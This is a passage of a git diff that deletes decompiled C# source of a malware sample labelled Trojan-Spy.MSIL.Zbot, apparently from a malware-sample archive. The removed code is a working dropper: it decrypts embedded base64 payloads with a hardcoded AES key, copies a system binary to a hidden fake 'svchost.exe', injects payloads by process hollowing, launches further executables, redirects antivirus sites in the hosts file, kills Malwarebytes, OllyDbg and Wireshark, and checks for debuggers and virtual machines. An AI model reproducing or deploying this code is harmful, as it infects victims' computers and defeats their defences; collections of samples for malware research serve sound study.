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"; -label_22: - num3 = 26; - byte[] DAS4DA3 = pizde.okitokjwe33(Convert.FromBase64String(s1)); -label_23: - num3 = 27; - string str1; - string s2 = str1; -label_24: - num3 = 28; - byte[] data1 = pizde.okitokjwe33(Convert.FromBase64String(s2)); -label_25: - num3 = 29; - string str2; - string s3 = str2; -label_26: - num3 = 30; - pizde.decrypt(Convert.FromBase64String(s3), "parola"); -label_27: - num3 = 31; - string str3; - string s4 = str3; -label_28: - num3 = 32; - byte[] data2 = pizde.okitokjwe33(Convert.FromBase64String(s4)); -label_29: - num3 = 33; - Encoding.GetEncoding(1252).GetBytes(s1); -label_30: - num3 = 34; - object tempPath2 = (object) Path.GetTempPath(); -label_31: - num3 = 35; - Directory.CreateDirectory(Conversions.ToString(Operators.ConcatenateObject(tempPath2, (object) "winamp"))); -label_32: - num3 = 36; - string VVVVVVCAE = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")); -label_33: - num3 = 37; - string sourceFileName = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"; -label_34: - num3 = 38; - string str4 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")); -label_35: - num3 = 39; - if (File.Exists(str4)) - goto label_37; -label_36: - num3 = 40; - File.Copy(sourceFileName, str4); -label_37: - num3 = 42; - FileAttributes fileAttributes2 = FileAttributes.Hidden | FileAttributes.System; -label_38: - num3 = 43; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")), fileAttributes2); -label_39: - num3 = 44; - if (pizde.IsProcessRunning4("nothong.exe")) - goto label_41; -label_40: - num3 = 45; - buffy.mickey(DAS4DA3, VVVVVVCAE); -label_41: - num3 = 47; - if (pizde.IsProcessRunning2("%temp%.exe")) - goto label_46; -label_42: - num3 = 48; - if (pizde.IsProcessRunning5("something.exe")) - goto label_46; -label_43: - num3 = 49; - string temp1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_44: - num3 = 50; - MyProject.Computer.FileSystem.WriteAllBytes(temp1 + "\\%temp%.exe", data2, false); -label_45: - num3 = 51; - Process.Start(temp1 + "\\%temp%.exe"); -label_46: - num3 = 54; - if (pizde.IsProcessRunning3("%tmp%.exe")) - goto label_50; -label_47: - num3 = 55; - string temp2 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_48: - num3 = 56; - MyProject.Computer.FileSystem.WriteAllBytes(temp2 + "\\%tmp%.exe", data1, false); -label_49: - num3 = 57; - Process.Start(temp2 + "\\%tmp%.exe"); -label_50: - ProjectData.EndApp(); - goto label_57; -label_52: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - case 17: - case 18: - goto label_14; - case 16: - goto label_13; - case 19: - goto label_15; - case 20: - goto label_16; - case 21: - goto label_17; - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - goto label_20; - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - goto label_23; - case 28: - goto label_24; - case 29: - goto label_25; - case 30: - goto label_26; - case 31: - goto label_27; - case 32: - goto label_28; - case 33: - goto label_29; - case 34: - goto label_30; - case 35: - goto label_31; - case 36: - goto label_32; - case 37: - goto label_33; - case 38: - goto label_34; - case 39: - goto label_35; - case 40: - goto label_36; - case 41: - case 42: - goto label_37; - case 43: - goto label_38; - case 44: - goto label_39; - case 45: - goto label_40; - case 46: - case 47: - goto label_41; - case 48: - goto label_42; - case 49: - goto label_43; - case 50: - goto label_44; - case 51: - goto label_45; - case 52: - case 53: - case 54: - goto label_46; - case 55: - goto label_47; - case 56: - goto label_48; - case 57: - goto label_49; - case 58: - goto label_50; - case 59: - goto label_57; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_52; - } - throw ProjectData.CreateProjectError(-2146828237); -label_57: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IsDebuggerPresent(); - - public static void Main2() - { - if (pizde.IsDebuggerPresent() == 1) - Console.WriteLine("Debugger Is Present"); - else - Console.WriteLine("Debugger Not Present"); - } - - private static void HostEdit() - { - StreamWriter streamWriter = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\\\hosts"); - streamWriter.Write("127.0.0.1 www.virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 vscan.novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 kaspersky.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.kaspersky.com"); - streamWriter.Dispose(); - } - - public static bool AntiVirtualBox() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VirtualBox Graphics Adapter", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVmWare() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VMware SVGA II", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVirtualPC() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VM Additions S3 Trio32/64", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - private static void getDevices() - { - // ISSUE: unable to decompile the method. - } - - public static void AntiMalwarebytes() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiOllydbg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiWireshark() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - private static bool IsProcessRunning2(string name) - { - Process[] processesByName = Process.GetProcessesByName("%temp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning3(string name) - { - Process[] processesByName = Process.GetProcessesByName("%tmp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning4(string name) - { - Process[] processesByName = Process.GetProcessesByName("nothong"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning5(string name) - { - Process[] processesByName = Process.GetProcessesByName("something"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - public static byte[] okitokjwe33(byte[] data) - { - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.IV = new byte[16] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8, - (byte) 9, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7 - }; - rijndaelManaged.Key = new byte[16] - { - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1, - (byte) 9, - (byte) 8, - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1 - }; - return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); - } - } - - public static byte[] decrypt(byte[] message, string password) - { - byte[] bytes = Encoding.Default.GetBytes(password); - int num1 = (int) message[checked (message.Length - 1)] ^ 112; - byte[] arySrc = new byte[checked (message.Length + 1)]; - int num2 = checked (message.Length - 1); - int index1 = 0; - while (index1 <= num2) - { - int index2; - arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2])); - if (index2 == checked (password.Length - 1)) - index2 = 0; - else - checked { ++index2; } - checked { ++index1; } - } - return (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyApplication.cs deleted file mode 100644 index 028690e3..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: jojo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4DB4C09F-BA71-4773-8260-0A2245DF6BAF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyComputer.cs deleted file mode 100644 index 72250547..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: jojo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4DB4C09F-BA71-4773-8260-0A2245DF6BAF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyProject.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyProject.cs deleted file mode 100644 index f60ce161..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: jojo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4DB4C09F-BA71-4773-8260-0A2245DF6BAF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.csproj b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.csproj deleted file mode 100644 index 72036269..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {3A7AC045-5AD2-4F1F-8C35-77D25035CB16} - WinExe - jojo - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.sln deleted file mode 100644 index 6ab5376b..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/Trojan-Spy.MSIL.Zbot.btc.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "jojo", "Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.csproj", "{3A7AC045-5AD2-4F1F-8C35-77D25035CB16}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3A7AC045-5AD2-4F1F-8C35-77D25035CB16}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3A7AC045-5AD2-4F1F-8C35-77D25035CB16}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3A7AC045-5AD2-4F1F-8C35-77D25035CB16}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3A7AC045-5AD2-4F1F-8C35-77D25035CB16}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/buffy.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/buffy.cs deleted file mode 100644 index f0d74944..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880/buffy.cs +++ /dev/null @@ -1,632 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: buffy -// Assembly: jojo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4DB4C09F-BA71-4773-8260-0A2245DF6BAF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-4cfabe02a2ea2ca03720d7fb5ebf42946273e42ebc570537a118827d15ce7880.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -public class buffy -{ - public const long ASDFASFASF = 2778; - public const long FASFASFASF = 60116; - public const long AFSFASFASCFC = 218; - public const long ASDASCASDASD = 218; - public const long BVCXBXCBXCB = 218; - public const long BXCBXCBXCB = 253; - public const long FSDR3FSF = 218; - public const long KKKKKKKKKDDDDDDD = 17247; - public const uint FSSSSSSSSSSSSSSSSSS = 218; - - public static void mickey(byte[] DAS4DA3, string VVVVVVCAE) - { - object Instance1 = (object) new buffy.Context(); - object obj1 = (object) new buffy.Process_Information(); - object obj2 = (object) new buffy.Startup_Information(); - object obj3 = (object) new buffy.Security_Flags(); - object obj4 = (object) new buffy.Security_Flags(); - object Instance2 = (object) GCHandle.Alloc((object) DAS4DA3, GCHandleType.Pinned); - int integer1 = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(Instance2, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, "ToInt32", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - buffy.DOS_Header dosHeader1 = new buffy.DOS_Header(); - Type Type = typeof (Marshal); - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - object Instance3 = Instance2; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Instance3, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - objArray2[0] = objectValue; - objArray1[1] = (object) dosHeader1.GetType(); - object[] objArray3 = objArray1; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ true, false }; - 